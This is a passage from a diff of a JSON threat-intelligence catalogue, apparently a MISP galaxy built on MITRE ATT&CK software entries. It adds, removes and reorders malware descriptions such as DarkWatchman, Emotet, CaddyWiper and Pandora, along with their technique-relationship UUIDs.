"01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "c009560a-f097-45a3-8f9f-78ec1440a783", - "value": "SysUpdate - S0663" - }, - { - "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)", - "meta": { - "external_id": "S0673", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0673", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" - ], - "synonyms": [ - "DarkWatchman" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "63686509-069b-4143-99ea-4e59cad6cb2a", - "value": "DarkWatchman - S0673" - }, { "description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)", "meta": { @@ -55312,76 +53207,6 @@ "uuid": "d1531eaa-9e17-473e-a680-3298469662c3", "value": "CoinTicker - S0369" }, - { - "description": "[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)", - "meta": { - "external_id": "S0693", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0693", - "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", - "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine" - ], - "synonyms": [ - "CaddyWiper" - ] - }, - "related": [ - { - "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "b30d999d-64e0-4e35-9856-884e4b83d611", - "value": "CaddyWiper - S0693" - }, { "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)", "meta": { @@ -55862,13 +53687,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -55876,13 +53694,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -55890,13 +53701,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -56019,21 +53823,21 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56046,6 +53850,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", "tags": [ @@ -56053,6 +53864,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -56060,20 +53885,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -56088,26 +53899,26 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878", @@ -56311,14 +54122,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56332,14 +54143,14 @@ "type": "uses" }, { - "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56353,7 +54164,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56367,7 +54185,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56388,7 +54213,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56407,6 +54232,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "aef537ba-10c2-40ed-a57a-80b8508aada4", @@ -56710,13 +54542,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ @@ -57456,14 +55281,7 @@ }, "related": [ { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57484,14 +55302,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57510,6 +55328,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "22faaa56-a8ac-4292-9be6-b571b255ee40", @@ -57546,14 +55378,7 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57581,21 +55406,7 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -57608,6 +55419,20 @@ ], "type": "uses" }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -57628,6 +55453,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "e296b110-46d3-4f7a-894c-cc71ea50168c", @@ -59030,14 +56862,14 @@ "type": "uses" }, { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "dest-uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59051,7 +56883,21 @@ "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "60623164-ccd8-4508-a141-b5a34820b3de", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59071,13 +56917,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", "tags": [ @@ -59093,7 +56932,21 @@ "type": "uses" }, { - "dest-uuid": "939808a7-121d-467a-b028-4441ee8b7cee", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59114,7 +56967,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59128,7 +56981,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59149,14 +57009,7 @@ "type": "uses" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59170,21 +57023,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59666,21 +57512,14 @@ }, "related": [ { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59693,6 +57532,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -59701,7 +57554,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59715,7 +57568,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59742,13 +57595,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -59757,7 +57603,14 @@ "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -59940,117 +57793,6 @@ "uuid": "599cd7b5-37b5-4cdd-8174-2811531ce9d0", "value": "SpicyOmelette - S0646" }, - { - "description": "[Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)", - "meta": { - "external_id": "S0664", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0664", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" - ], - "synonyms": [ - "Pandora" - ] - }, - "related": [ - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "565275d5-fcc3-4b66-b4e7-928e4cac6b8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - 